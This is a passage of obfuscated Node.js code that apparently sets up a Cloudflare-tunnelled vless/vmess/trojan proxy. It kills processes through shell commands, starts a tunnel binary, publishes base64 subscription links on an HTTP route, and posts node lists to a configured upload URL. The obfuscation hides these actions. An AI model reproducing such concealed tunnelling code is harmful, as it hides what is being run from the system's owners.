_0x30276b!==_0x48856b;},'MMvUs':'VKhiD','WfDCi':_0x492790(0x235,0x3c8,0x303,0x340),'isjpC':_0x492790(0x11f,0x170,0x224,0x189)+'tartserver'+':','FXZyr':'arm','EVlCw':_0x276d43(0x375,0x39b,0x3ba,0x327),'TyHpQ':_0x492790(0x3e0,0x291,0x38f,0x314),'vNJmb':'amd','xrvOF':function(_0xb44f04,_0x4a34c9){return _0xb44f04===_0x4a34c9;},'IXHEk':'hzDQA','xPbac':'win32','kcoVB':_0x276d43(0x297,0x24f,0x321,0x248),'ZrGgF':_0x276d43(0x241,0x266,0x155,0xf0),'XogKq':_0x276d43(0x394,0x27c,0x27c,0x24f),'lyHnT':function(_0xfd4b29,_0x436f86){return _0xfd4b29(_0x436f86);},'jixGc':_0x492790(0x226,0x3cd,0x2f1,0x31e)+_0x492790(0x4eb,0x292,0x424,0x39c)+'matic\x20acce'+'ss\x20task','wMYKx':_0x276d43(0x361,0x45f,0x354,0x3f3),'vcteH':_0x276d43(0x396,0x332,0x27d,0x40c),'xEqsw':_0x492790(0x14f,0x312,0x28c,0x21c),'cKjHl':_0x492790(0x263,0x149,0x133,0x182)+_0x276d43(0x434,0x493,0x552,0x56a),'bzSGU':_0x492790(0xf8,0x195,0x301,0x1d6),'JGgRT':_0x492790(0x23,0x268,0x26,0x126)+';\x20charset='+_0x276d43(0x2a3,0x3fa,0x269,0x3c4),'zQORX':_0x492790(0x1a8,0x18b,0x1cf,0x150),'affSg':function(_0x597183,_0x2110be,_0x23e19e){return _0x597183(_0x2110be,_0x23e19e);},'ZspFh':_0x276d43(0x2f5,0x42d,0x225,0x3d4)+_0x492790(0x240,0x2d1,0x158,0x1a0)+_0x492790(0x2eb,0x3d4,0x2e5,0x332)+'flare.com/'+_0x276d43(0x235,0x115,0x25d,0x1d2)+'\x20-F\x5c\x22\x20\x27{pr'+_0x276d43(0x320,0x471,0x46d,0x478)+_0x492790(0x222,0x2b9,0x1aa,0x1fc)+'d\x20-e\x20\x27s/\x20/'+_0x492790(0x38f,0x3bc,0x3ee,0x33d),'jWRqb':_0x276d43(0x2a3,0x223,0x2c7,0x250),'GsCQp':function(_0x3a47fb,_0x2bec25){return _0x3a47fb&&_0x2bec25;},'eovIP':function(_0xda0480,_0x5c7d8a){return _0xda0480===_0x5c7d8a;},'KNqJG':'ARGO_DOMAI'+'N:','foxWA':function(_0x20b2d0,_0x5d39a5){return _0x20b2d0(_0x5d39a5);},'nAjoC':function(_0x45a7a3,_0x4e915e){return _0x45a7a3>_0x4e915e;},'UOAUt':'ArgoDomain'+':','rycMv':function(_0xe5e33a,_0x372f41){return _0xe5e33a(_0x372f41);},'zEaAq':_0x276d43(0x2d3,0x1e5,0x36f,0x3fd),'NuYUx':_0x276d43(0x243,0x341,0x181,0x33c)+_0x276d43(0x41a,0x54e,0x4ff,0x4fa)+_0x276d43(0x39a,0x3f7,0x2c9,0x30e)+_0x492790(0x2a0,0x419,0x45d,0x393)+'obtain\x20Arg'+_0x276d43(0x40e,0x2cf,0x3b3,0x3e7),'YqVxx':_0x492790(0x151,0x67,0x1cd,0xe9),'jDsmE':function(_0xdff6a1){return _0xdff6a1();},'EcUqE':function(_0x30a367,_0x3d0ddf){return _0x30a367(_0x3d0ddf);},'dnwhb':_0x492790(0x1e4,0x2a0,0x13f,0x290),'HuncI':_0x492790(0x415,0x408,0x46d,0x309),'uTnOC':'Error\x20read'+'ing\x20boot.l'+_0x276d43(0x3d3,0x425,0x2e9,0x2ae)};function _0x492790(_0x357447,_0x4272a0,_0x5e16e3,_0x1cb160){return _0x2e882e(_0x1cb160- -0x29e,_0x357447,_0x5e16e3-0x1cc,_0x1cb160-0x35);}let _0x451bde;if(_0x25204c[_0x276d43(0x25a,0x2ee,0x237,0x302)](ARGO_AUTH,ARGO_DOMAIN)){if(_0x25204c[_0x276d43(0x22f,0x291,0x1b5,0x21b)](_0x492790(0x31a,0x213,0x28f,0x230),_0x492790(0x38d,0x2e5,0x37a,0x230)))_0x451bde=ARGO_DOMAIN,console[_0x276d43(0x399,0x259,0x2aa,0x46d)](_0x25204c[_0x276d43(0x31c,0x41d,0x256,0x25a)],_0x451bde),await _0x25204c[_0x492790(0x31b,0x457,0x2d1,0x30e)](_0x2de61b,_0x451bde);else{_0x1b33f7[_0x492790(0x290,0x265,0x252,0x269)](_0x25204c[_0x492790(0x1ae,0x28b,0x2cf,0x29f)]);return;}}else try{const _0x5815c3=fs[_0x492790(0x4c9,0x3f0,0x324,0x371)+'nc'](path[_0x492790(0x2ab,0x1cd,0x2e6,0x1b4)](FILE_PATH,'boot.log'),_0x25204c[_0x276d43(0x31f,0x449,0x391,0x247)]),_0x30ac32=_0x5815c3[_0x276d43(0x477,0x471,0x483,0x588)]('\x0a'),_0x9e2d1d=[];_0x30ac32[_0x492790(0x186,0xd1,0x157,0x149)](_0x53ba83=>{function _0x1f84e6(_0x1b759d,_0x345664,_0xcf98c3,_0x13ee77){return _0x492790(_0x345664,_0x345664-0x172,_0xcf98c3-0x16e,_0x1b759d-0x267);}function _0x13b9ff(_0x408a33,_0x15b1e3,_0x3fd147,_0x4c9abb){return _0x276d43(_0x15b1e3- -0x21d,_0x15b1e3-0x20,_0x3fd147-0xd7,_0x4c9abb);}if(_0x25204c[_0x1f84e6(0x401,0x2a0,0x44d,0x347)](_0x1f84e6(0x618,0x769,0x76f,0x6f8),_0x25204c['Dclaw'])){const _0x5caace=_0x53ba83[_0x13b9ff(-0x1c,0x13e,0x23e,0x17a)](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x5caace){if(_0x25204c[_0x1f84e6(0x3d0,0x3f9,0x2e8,0x287)](_0x25204c[_0x13b9ff(0xae,0x200,0x339,0xf3)],_0x25204c['WfDCi'])){const _0x4a4d7c=_0x5caace[0x5e*0x6a+-0xc*0x2f8+-0x34b];_0x9e2d1d['push'](_0x4a4d7c);}else{const _0x562204=_0x7f7860['apply'](_0x42a7a0,arguments);return _0x150507=null,_0x562204;}}}else _0x30d9f3['error']('Error\x20exec'+_0x1f84e6(0x493,0x461,0x57d,0x4ae)+'and:\x20'+_0x3b5d0d);});if(_0x25204c[_0x492790(0x33a,0x36a,0x2e0,0x3a3)](_0x9e2d1d[_0x492790(0x169,0x36e,0x11b,0x21a)],0x25c9+0xfce+-0x3597))_0x451bde=_0x9e2d1d[0x2628+-0x28*0xd+0x484*-0x8],console[_0x276d43(0x399,0x496,0x371,0x2cc)](_0x25204c[_0x276d43(0x381,0x2b7,0x2bd,0x2ce)],_0x451bde),await _0x25204c[_0x492790(0x240,0x340,0x292,0x2e8)](_0x2de61b,_0x451bde);else{if(_0x492790(0x2f0,0x252,0xd4,0x1a3)===_0x25204c[_0x276d43(0x354,0x2b7,0x4a8,0x414)]){console['log'](_0x25204c[_0x492790(0x28e,0x1e6,0x1,0x157)]),fs[_0x276d43(0x25f,0x265,0x200,0x313)](path[_0x276d43(0x2e4,0x238,0x234,0x3d3)](FILE_PATH,_0x25204c['YqVxx']));async function _0x342d05(){const _0x305001={};function _0x45bb16(_0xb94412,_0x14ae07,_0x48b9b5,_0xf637c8){return _0x492790(_0x14ae07,_0x14ae07-0x76,_0x48b9b5-0x1f1,_0xf637c8-0x13e);}_0x305001[_0x45bb16(0x4be,0x512,0x588,0x449)]=function(_0x12b8a2,_0x517c5b){return _0x12b8a2===_0x517c5b;},_0x305001[_0x15476c(0x31c,0x3e0,0x2cb,0x361)]=_0x25204c['FXZyr'],_0x305001[_0x15476c(0x4ad,0x52a,0x4c7,0x5db)]=_0x25204c['EVlCw'],_0x305001['NLLfR']=_0x25204c[_0x15476c(0x400,0x464,0x376,0x429)],_0x305001[_0x15476c(0x33a,0x41a,0x4f6,0x535)]=_0x25204c[_0x15476c(0x4e4,0x4be,0x37b,0x5aa)];const _0x5e47b7=_0x305001;function _0x15476c(_0xf7c7f4,_0x360459,_0x5088ad,_0x5f0f06){return _0x492790(_0xf7c7f4,_0x360459-0xd1,_0x5088ad-0xa8,_0x360459-0x28f);}if(_0x25204c[_0x45bb16(0x2cb,0x1cd,0x2ff,0x25f)](_0x15476c(0x56e,0x5d7,0x5f9,0x54b),_0x25204c['IXHEk']))_0x190d44[_0x15476c(0x486,0x452,0x4c8,0x3ef)](_0x195c86);else try{if(_0x25204c[_0x45bb16(0x3a0,0x150,0x210,0x2a7)](_0x45bb16(0x455,0x4e6,0x2d5,0x433),_0x15476c(0x4ad,0x584,0x66a,0x550))){const _0x3c2a95=_0x50dd03?function(){function _0x3dc886(_0x5834d6,_0x19d9fe,_0xcc4b72,_0x849f42){return _0x45bb16(_0x5834d6-0x91,_0x849f42,_0xcc4b72-0x17d,_0xcc4b72- -0x9b);}if(_0x4c7d24){const _0x1cb25b=_0x545ec4[_0x3dc886(0x74,0xff,0x1c3,0x2a1)](_0x114c6c,arguments);return _0x7e9585=null,_0x1cb25b;}}:function(){};return _0x143dea=![],_0x3c2a95;}else{if(_0x25204c[_0x45bb16(0x2cf,0x11c,0x1f6,0x25f)](process[_0x15476c(0x527,0x5a4,0x4bc,0x451)],_0x25204c['xPbac'])){if(_0x25204c['xrvOF'](_0x25204c[_0x45bb16(0x317,0x27b,0x302,0x3be)],_0x25204c[_0x45bb16(0x514,0x289,0x427,0x3be)]))await exec(_0x45bb16(0x58c,0x5c2,0x4c5,0x4a7)+_0x15476c(0x321,0x3c3,0x3b2,0x4ad)+botName+(_0x45bb16(0x390,0x51e,0x428,0x4ed)+'\x202>&1'));else{const _0xb38f86=_0x34b48d[_0x45bb16(0x323,0x4e4,0x4f0,0x44d)]();return _0x5e47b7[_0x45bb16(0x33f,0x577,0x346,0x449)](_0xb38f86,_0x5e47b7['rUQBq'])||_0x5e47b7[_0x45bb16(0x39b,0x3f5,0x3bf,0x449)](_0xb38f86,_0x5e47b7[_0x15476c(0x5a1,0x52a,0x49b,0x464)])||_0x5e47b7[_0x15476c(0x5bc,0x59a,0x6ad,0x4bf)](_0xb38f86,_0x5e47b7[_0x15476c(0x60e,0x50d,0x3e3,0x5e5)])?_0x5e47b7[_0x45bb16(0x18f,0x202,0x299,0x28f)]:_0x5e47b7[_0x45bb16(0x41e,0x3b8,0x237,0x2c9)];}}else _0x25204c[_0x45bb16(0x2cd,0x2d0,0x308,0x2a7)](_0x25204c[_0x15476c(0x6b4,0x58f,0x4e5,0x5b4)],_0x25204c['XogKq'])?await _0x25204c['lyHnT'](exec,_0x15476c(0x64d,0x512,0x608,0x47b)+'['+botName[_0x15476c(0x63f,0x5c7,0x4a0,0x5e1)](0x22fc+-0x276*0x1+-0x2086)+']'+botName[_0x45bb16(0x2b1,0x459,0x422,0x333)](0xf57+-0x1274+0x31e)+(_0x15476c(0x52b,0x405,0x47e,0x3a7)+'ull\x202>&1')):_0x55ac7b[_0x15476c(0x681,0x610,0x519,0x74f)](_0x25204c[_0x15476c(0x2db,0x42b,0x4a4,0x54e)],_0x5a6f4c);}}catch(_0x98e0a4){}}_0x25204c[_0x492790(0x381,0x293,0x2b9,0x2e1)](_0x342d05),await new Promise(_0x2e4243=>setTimeout(_0x2e4243,-0x19*0x25+-0x6e5+0x163a));const _0x6dbe31='tunnel\x20--e'+_0x276d43(0x2ae,0x164,0x2ba,0x281)+'sion\x20auto\x20'+_0x492790(0x38f,0x46b,0x2fd,0x30c)+_0x492790(0x292,0x12a,0x107,0x14f)+_0x276d43(0x277,0x256,0x359,0x238)+_0x276d43(0x3df,0x3a6,0x544,0x3f8)+'le\x20'+FILE_PATH+(_0x492790(0x39a,0x2fc,0x366,0x3a7)+_0x276d43(0x3aa,0x493,0x47c,0x3cf)+_0x492790(0x12b,0x190,0x28,0x185)+_0x492790(0x219,0x2f1,0x2c2,0x248)+'ocalhost:')+ARGO_PORT;try{await _0x25204c[_0x492790(0x265,0x25d,0x2c1,0x1b3)](exec,_0x276d43(0x4b0,0x56b,0x4fb,0x430)+botPath+'\x20'+_0x6dbe31+(_0x276d43(0x4ca,0x415,0x50e,0x535)+_0x276d43(0x2fa,0x2c2,0x352,0x3e3))),console[_0x492790(0x2f2,0x360,0x23a,0x269)](botName+(_0x492790(0x1aa,0x9b,0x265,0x1d9)+'g')),await new Promise(_0x1e167c=>setTimeout(_0x1e167c,-0x1*0xcaa+-0x31d*0xb+0x3aa1)),await extractDomains();}catch(_0x45d3a9){if(_0x25204c[_0x276d43(0x22f,0x160,0x388,0x2f6)](_0x25204c['dnwhb'],_0x25204c[_0x492790(0x292,0x12a,0x2d3,0x1e6)])){_0x277d12['log'](_0x25204c[_0x276d43(0x4d6,0x599,0x47d,0x537)]);return;}else console[_0x492790(0x38b,0x3b8,0x3cc,0x381)]('Error\x20exec'+_0x492790(0x141,0x174,0x2bd,0x22c)+_0x492790(0x3df,0x42b,0x210,0x2fd)+_0x45d3a9);}}else{if(_0x24d495[_0x276d43(0x48d,0x5b0,0x3af,0x507)]['status']===0x4b8+0x5aa+-0x8d2){}}}}catch(_0x2125ad){console[_0x276d43(0x4b1,0x5a5,0x508,0x5c3)](_0x25204c['uTnOC'],_0x2125ad);}function _0x276d43(_0xe43475,_0xb024c7,_0x2c890e,_0x153688){return _0x282096(_0xe43475-0x1d4,_0xb024c7-0x4c,_0xe43475-0x1c4,_0x153688);}async function _0x2de61b(_0xf99711){function _0x33f594(_0x608163,_0x4ebe60,_0x2a37bb,_0x286ceb){return _0x492790(_0x608163,_0x4ebe60-0x18f,_0x2a37bb-0xec,_0x286ceb-0x2);}function _0x4d1791(_0x4248d0,_0x206dab,_0x263373,_0x579073){return _0x492790(_0x206dab,_0x206dab-0x1ec,_0x263373-0x33,_0x263373-0x1bf);}const _0x58733c={'Vlhfn':_0x25204c[_0x33f594(0x293,0x20b,0x337,0x367)],'uIaSR':_0x25204c[_0x33f594(0x24a,0x2f8,0x2e1,0x1c8)],'IYocj':_0x25204c[_0x4d1791(0x2f8,0x399,0x3b5,0x2d8)],'ZKmOL':_0x25204c[_0x4d1791(0x1db,0x396,0x323,0x2f3)],'rUuME':_0x25204c['bzSGU'],'hbfUS':_0x4d1791(0x231,0x2f9,0x329,0x3f0),'iHXyn':_0x33f594(0x245,0x1df,0x1bd,0x118),'sIDaM':function(_0x4dd3b7,_0x3a3a62){function _0x4243d7(_0x323175,_0xe2689e,_0x224ca9,_0x87d33a){return _0x33f594(_0x323175,_0xe2689e-0x156,_0x224ca9-0x39,_0xe2689e-0x369);}return _0x25204c[_0x4243d7(0x5a6,0x473,0x487,0x583)](_0x4dd3b7,_0x3a3a62);},'cZXIY':_0x25204c['JGgRT'],'PbwXf':function(_0x477e92,_0xcd6bc8,_0xadd59d){return _0x477e92(_0xcd6bc8,_0xadd59d);}};if(_0x25204c[_0x4d1791(0x3f2,0x278,0x2e0,0x217)](_0x33f594(0x172,0x31a,0x37e,0x2a6),_0x25204c[_0x4d1791(0x3de,0x28c,0x2f4,0x3cb)]))_0x9e660e(_0x5608fe);else{const _0x33bbaf=_0x25204c[_0x33f594(0x4b7,0x24f,0x219,0x366)](execSync,_0x25204c[_0x33f594(0x119,0x283,0x2b2,0x1c1)],{'encoding':_0x25204c[_0x33f594(0x170,0x168,0x310,0x1f1)]}),_0x3942fc=_0x33bbaf[_0x33f594(0x93,0x1c0,0x177,0x186)](),_0x26dd6c=NAME?NAME+'-'+_0x3942fc:_0x3942fc;return new Promise(_0x230efd=>{const _0x30bb8e={};function _0x30cb02(_0x18dcb3,_0x46ac35,_0x52550c,_0x398e65){return _0x33f594(_0x46ac35,_0x46ac35-0x10e,_0x52550c-0xd7,_0x52550c- -0x1f9);}_0x30bb8e[_0x418a1b(0x3db,0x353,0x242,0x2ce)]=_0x418a1b(0x181,0x16e,0x2b8,0x233),_0x30bb8e['WQpwD']=_0x58733c[_0x30cb02(0x8b,0x12,0x8d,0x15f)];function _0x418a1b(_0x9d8f2d,_0x57647e,_0x1cbe2b,_0x3d630e){return _0x4d1791(_0x9d8f2d-0x1cd,_0x9d8f2d,_0x3d630e- -0xa2,_0x3d630e-0x1a4);}const _0x18d3af=_0x30bb8e;_0x58733c[_0x418a1b(0x33d,0x3b4,0x3b8,0x25b)](setTimeout,()=>{function _0x49bb75(_0x10cc4b,_0x48747b,_0x27c38d,_0x70a48a){return _0x418a1b(_0x48747b,_0x48747b-0x1aa,_0x27c38d-0x160,_0x10cc4b-0x194);}function _0x1e52c0(_0xaca53d,_0xfc9e9,_0x2d6954,_0x425f44){return _0x418a1b(_0xfc9e9,_0xfc9e9-0x43,_0x2d6954-0x155,_0x2d6954-0x2ad);}if(_0x58733c[_0x49bb75(0x426,0x51e,0x2f8,0x44e)]!==_0x58733c[_0x49bb75(0x537,0x61f,0x582,0x69a)]){const _0x1acc77={};_0x1acc77['v']='2',_0x1acc77['ps']=''+_0x26dd6c,_0x1acc77[_0x49bb75(0x52d,0x547,0x4cf,0x537)]=CFIP,_0x1acc77[_0x49bb75(0x3ec,0x4cb,0x4ca,0x335)]=CFPORT,_0x1acc77['id']=UUID,_0x1acc77[_0x1e52c0(0x699,0x80a,0x71d,0x715)]='0',_0x1acc77[_0x49bb75(0x53f,0x479,0x64c,0x5a8)]=_0x58733c[_0x49bb75(0x429,0x35d,0x4bd,0x2dc)],_0x1acc77[_0x49bb75(0x52a,0x3df,0x507,0x580)]='ws',_0x1acc77[_0x1e52c0(0x68d,0x8b9,0x76c,0x6ec)]=_0x58733c['IYocj'],_0x1acc77['host']=_0xf99711,_0x1acc77['path']=_0x58733c[_0x49bb75(0x601,0x5b0,0x4a6,0x64d)],_0x1acc77[_0x1e52c0(0x4f7,0x66d,0x5a0,0x58e)]=_0x58733c['rUuME'],_0x1acc77[_0x49bb75(0x56e,0x577,0x58c,0x6d0)]=_0xf99711,_0x1acc77['alpn']='',_0x1acc77['fp']=_0x58733c[_0x49bb75(0x65e,0x5ce,0x5dc,0x58a)];const _0x5b9060=_0x1acc77,_0x2fe279='\x0avless://'+UUID+'@'+CFIP+':'+CFPORT+(_0x1e52c0(0x764,0x6b3,0x6dd,0x804)+_0x1e52c0(0x6d6,0x555,0x61e,0x4ba)+_0x49bb75(0x3a4,0x487,0x3e5,0x2ee)+_0x49bb75(0x5d3,0x539,0x4ba,0x5dc))+_0xf99711+(_0x1e52c0(0x689,0x6e6,0x5fc,0x5fa)+_0x49bb75(0x44a,0x341,0x411,0x590)+_0x1e52c0(0x629,0x514,0x4c3,0x59e))+_0xf99711+(_0x49bb75(0x51e,0x5d8,0x46a,0x55f)+'less-argo%'+_0x49bb75(0x459,0x42e,0x305,0x5be)+'0#')+_0x26dd6c+(_0x49bb75(0x51d,0x3db,0x566,0x428)+'//')+Buffer[_0x49bb75(0x3e7,0x32c,0x53d,0x3cb)](JSON[_0x1e52c0(0x5b2,0x46e,0x55f,0x53f)](_0x5b9060))[_0x49bb75(0x4e4,0x5f1,0x516,0x61b)](_0x1e52c0(0x3f0,0x4ef,0x4e0,0x541))+(_0x1e52c0(0x672,0x818,0x75e,0x794)+_0x49bb75(0x664,0x7c2,0x73e,0x655))+UUID+'@'+CFIP+':'+CFPORT+('?security='+'tls&sni=')+_0xf99711+(_0x1e52c0(0x60e,0x625,0x5fc,0x643)+'x&type=ws&'+'host=')+_0xf99711+('&path=%2Ft'+_0x49bb75(0x3fe,0x426,0x2ed,0x3b0)+_0x49bb75(0x565,0x506,0x420,0x69d)+_0x49bb75(0x420,0x4fa,0x409,0x4f2))+_0x26dd6c+_0x49bb75(0x4f8,0x535,0x464,0x4da);console[_0x1e52c0(0x78a,0x4d7,0x633,0x707)](Buffer[_0x49bb75(0x3e7,0x35e,0x2c0,0x287)](_0x2fe279)[_0x49bb75(0x4e4,0x495,0x55e,0x5c9)](_0x58733c[_0x49bb75(0x453,0x53f,0x4a9,0x510)])),fs[_0x1e52c0(0x4d8,0x5b8,0x56f,0x610)+'ync'](subPath,Buffer['from'](_0x2fe279)['toString'](_0x58733c[_0x1e52c0(0x59b,0x61c,0x56c,0x41f)])),console['log'](FILE_PATH+(_0x49bb75(0x569,0x654,0x464,0x69e)+_0x49bb75(0x3ea,0x490,0x2ac,0x452)+_0x1e52c0(0x4ab,0x627,0x598,0x6a9))),uploadNodes(),app[_0x1e52c0(0x6a5,0x779,0x6eb,0x798)]('/'+SUB_PATH,(_0x38be36,_0x9b593f)=>{const _0x3de629=Buffer[_0x24d5b5(0x40e,0x2b5,0x22a,0x16e)](_0x2fe279)[_0x24d5b5(0x4ce,0x3b2,0x2d8,0x500)](_0x18d3af[_0x1a26cd(0x404,0x55c,0x36d,0x2dd)]);function _0x1a26cd(_0x319976,_0x262431,_0x1838e9,_0x5cdf02){return _0x49bb75(_0x319976- -0x5e,_0x1838e9,_0x1838e9-0x32,_0x5cdf02-0x129);}_0x9b593f[_0x24d5b5(0x386,0x3e4,0x522,0x37a)](_0x24d5b5(0x476,0x361,0x45c,0x43c)+'pe',_0x18d3af[_0x1a26cd(0x5da,0x48d,0x4db,0x652)]);function _0x24d5b5(_0x1e92ff,_0xf3db39,_0x33f51e,_0x1b0223){return _0x1e52c0(_0x1e92ff-0x9e,_0x1b0223,_0xf3db39- -0x24b,_0x1b0223-0xc4);}_0x9b593f[_0x1a26cd(0x459,0x5bb,0x46b,0x379)](_0x3de629);}),_0x58733c['sIDaM'](_0x230efd,_0x2fe279);}else return null;},-0x129b+0x4a6+-0x15c5*-0x1);});}}}async function uploadNodes(){const _0x2ca8a8={'eXyLp':function(_0x2465c6,_0x301d2e){return _0x2465c6(_0x301d2e);},'YrPbS':function(_0x7f68cb,_0xea446b,_0x52fc41,_0x518d0e){return _0x7f68cb(_0xea446b,_0x52fc41,_0x518d0e);},'ogYfQ':_0x2b8229(-0x2bd,-0x23,-0x271,-0x180)+_0x2f1478(0x168,0xef,0x20e,-0x71)+_0x2f1478(0xbc,-0x33,-0xd9,-0x73),'HOReP':function(_0x475f83,_0xe2ea52){return _0x475f83<_0xe2ea52;},'sbsNx':function(_0x3ad832,_0x4b9ca7){return _0x3ad832*_0x4b9ca7;},'bCoLY':function(_0x4d1c15,_0x2e4059){return _0x4d1c15&&_0x2e4059;},'Amyka':function(_0x5b0e53,_0x34857c){return _0x5b0e53!==_0x34857c;},'NQkiV':_0x2b8229(-0x28f,-0x133,-0x1ea,-0x28c),'TydQc':'applicatio'+_0x2b8229(-0x304,-0x96,-0x299,-0x19c),'bWrVy':function(_0x229bd3,_0x465eac){return _0x229bd3===_0x465eac;},'VYNOL':_0x2b8229(-0x6,-0xcf,-0x30,-0x10d),'gPdjI':'Subscripti'+_0x2f1478(-0x17f,-0x22,-0x23,0x76)+_0x2f1478(-0x75,-0x126,0x37,-0x90)+'ully','xGmGs':function(_0x4f6242,_0x543013){return _0x4f6242!==_0x543013;},'NjgJP':'BbflB','qbGgj':_0x2f1478(-0x1b8,-0xdb,0x5f,-0x1b8),'NleCR':function(_0xa79fc6,_0xac8497){return _0xa79fc6===_0xac8497;},'zKZfH':'utf-8','NLwBY':_0x2b8229(-0x6b,-0xe4,-0xdf,-0x2b)+_0x2b8229(-0x291,-0x395,-0x198,-0x24d)+'ssfully','QLIci':'PBEYh','RNHHI':_0x2f1478(-0x6b,-0x10a,-0xc2,-0x1c2),'PzsJY':_0x2f1478(-0x4b,-0x48,-0x10c,-0x9c)};function _0x2b8229(_0x4cf858,_0x38e287,_0x1c4ee5,_0x339e64){return _0x282096(_0x4cf858-0x31,_0x38e287-0x187,_0x339e64- -0x311,_0x1c4ee5);}function _0x2f1478(_0x37bcd3,_0x3d87e8,_0x2479c9,_0x58db2a){return _0x282096(_0x37bcd3-0xc,_0x3d87e8-0xed,_0x3d87e8- -0x1a6,_0x37bcd3);}if(_0x2ca8a8['bCoLY'](UPLOAD_URL,PROJECT_URL)){const _0x49c0a8=PROJECT_URL+'/'+SUB_PATH,_0x501559={};_0x501559[_0x2f1478(0x7d,0x3e,0x17c,-0x74)+'on']=[_0x49c0a8];const _0xa7a363=_0x501559;try{if(_0x2ca8a8['Amyka'](_0x2ca8a8[_0x2b8229(-0x135,0x10d,0x78,-0x30)],_0x2ca8a8['NQkiV']))_0x3553d3[_0x2f1478(0x19c,0x147,0x8,0x1d6)](_0x2b8229(-0xb4,-0x12a,-0x243,-0x207)+_0x2b8229(-0x185,-0x7c,-0x1ce,-0x7d)+_0x4c3e3a);else{const _0x45bcfa={};_0x45bcfa[_0x2f1478(0xc4,-0x58,-0x12,0x20)+'pe']=_0x2ca8a8[_0x2f1478(0xc3,-0x7d,0x86,-0x12d)];const _0x2c5460={};_0x2c5460[_0x2b8229(-0x282,-0x3b3,-0x187,-0x28a)]=_0x45bcfa;const _0xf9a014=await axios[_0x2f1478(0x96,0xb1,0xff,0x17f)](UPLOAD_URL+(_0x2b8229(-0x2ad,-0x37f,-0x13b,-0x268)+_0x2b8229(-0x27a,-0x22a,-0x14d,-0x1f9)+'ns'),_0xa7a363,_0x2c5460);if(_0xf9a014&&_0x2ca8a8['bWrVy'](_0xf9a014[_0x2f1478(-0x257,-0x112,-0x19d,-0x142)],-0x1*0x1f3f+-0x54*-0x5e+0x12f)){if(_0x2b8229(-0x18d,0xbc,-0x1be,-0xa4)===_0x2ca8a8[_0x2b8229(-0x44,-0xb3,-0x176,-0xb5)]){const _0x1f90e5={'yRulB':function(_0x4d5aaf,_0x18187c){function _0x17b0ef(_0x5cc92b,_0x5ee2ed,_0xcdf86,_0x190dae){return _0x2f1478(_0x5cc92b,_0x190dae- -0x5,_0xcdf86-0x79,_0x190dae-0x14c);}return _0x2ca8a8[_0x17b0ef(0xb5,-0x3b,0x15e,0x76)](_0x4d5aaf,_0x18187c);}};_0x2ca8a8[_0x2b8229(-0x88,-0x4a,-0x20a,-0x188)](_0x68deb6,_0xe397d1[_0x2b8229(-0x143,-0x69,0xa,-0x9e)],_0x2ff351[_0x2b8229(0x14e,-0x94,-0xf4,0x9)],(_0xdd1614,_0x397c25)=>{function _0x3ea42c(_0x21ca5e,_0x2b8808,_0x52cce2,_0x468961){return _0x2f1478(_0x21ca5e,_0x52cce2-0x620,_0x52cce2-0x142,_0x468961-0x8d);}_0xdd1614?_0x1f90e5[_0x3ea42c(0x6f3,0x593,0x6e4,0x5ad)](_0x2c5335,_0xdd1614):_0xbed7b4(_0x397c25);});}else return console[_0x2b8229(-0x1d6,-0x204,-0x13c,-0x13c)](_0x2ca8a8[_0x2f1478(-0x1d9,-0x8c,-0x1c,-0x58)]),_0xf9a014;}else return null;}}catch(_0x3f1669){if(_0x3f1669[_0x2b8229(-0x5,-0x2a,-0x103,-0x48)]){if(_0x2ca8a8[_0x2f1478(0x13b,0xb8,0x1b5,0x1e9)](_0x2ca8a8[_0x2f1478(0x1bd,0x17b,0xbd,0x16f)],_0x2ca8a8[_0x2f1478(0x167,0xfb,0x225,0x110)])){if(_0x2ca8a8[_0x2f1478(0x1f3,0x165,0x2c9,0x250)](_0x3f1669[_0x2b8229(-0x7b,0x117,-0x14c,-0x48)][_0x2f1478(-0x232,-0x112,0x23,-0x20)],-0xe0a*-0x1+0x13fe+-0x103c*0x2)){}}else{const _0x19964f=_0x2ca8a8[_0x2b8229(-0x2af,-0x1b7,-0x346,-0x253)];let _0x4373b2='';for(let _0x406253=0x7*0x1fb+-0x996+-0x447;_0x2ca8a8[_0x2f1478(0x144,0xa6,0x20c,0x11d)](_0x406253,-0x14*0x107+-0x7*0x115+0x1c25);_0x406253++){_0x4373b2+=_0x19964f[_0x2f1478(0x261,0xfe,0xce,0x136)](_0x166d5b[_0x2f1478(-0x21,-0x4d,-0x13a,-0x9e)](_0x2ca8a8[_0x2b8229(-0x1ad,-0x10a,-0x8a,-0x130)](_0x1f5820['random'](),_0x19964f[_0x2f1478(-0x85,-0x20,0xd7,-0x1)])));}return _0x4373b2;}}}}else{if(UPLOAD_URL){if(!fs[_0x2b8229(-0x72,-0x3,-0x190,-0x98)](listPath))return;const _0x5c6e12=fs['readFileSy'+'nc'](listPath,_0x2ca8a8[_0x2b8229(-0x32e,-0x2b5,-0x159,-0x2b0)]),_0x513a8a=_0x5c6e12[_0x2f1478(0x94,0x10d,0xff,-0x35)]('\x0a')[_0x2b8229(-0x16d,-0x12e,-0x208,-0x15c)](_0x354b03=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x2f1478(-0x14b,-0x42,-0x14c,-0x13c)](_0x354b03));if(_0x2ca8a8[_0x2f1478(0x1b1,0x165,0x131,0x234)](_0x513a8a[_0x2f1478(0x60,-0x20,-0x18a,0x119)],0x2*-0xefb+-0x280+0x3*0xad2))return;const _0xca87d3={};_0xca87d3['nodes']=_0x513a8a;const _0x37939d=JSON[_0x2f1478(-0x184,-0xa5,-0xf0,0xb)](_0xca87d3);try{const _0x1bdfd4={};_0x1bdfd4[_0x2f1478(-0x1a6,-0x58,-0x6a,-0x2)+'pe']=_0x2b8229(0xf9,0x90,0x2a,-0x1c)+_0x2b8229(-0xf2,-0x200,-0x1e6,-0x19c);const _0x4baeae={};_0x4baeae[_0x2b8229(-0x2c0,-0x16f,-0x193,-0x28a)]=_0x1bdfd4;const _0x1e96d1=await axios[_0x2f1478(-0x9d,0xb1,0x81,0xc3)](UPLOAD_URL+('/api/add-n'+'odes'),_0x37939d,_0x4baeae);return _0x1e96d1&&_0x1e96d1[_0x2f1478(-0x12f,-0x112,-0x7d,-0x46)]===0x1*0x11e1+0x1aa+-0x12c3?(console['log'](_0x2ca8a8[_0x2b8229(0x3f,-0x9d,0x128,0xb)]),_0x1e96d1):null;}catch(_0x223ad5){return 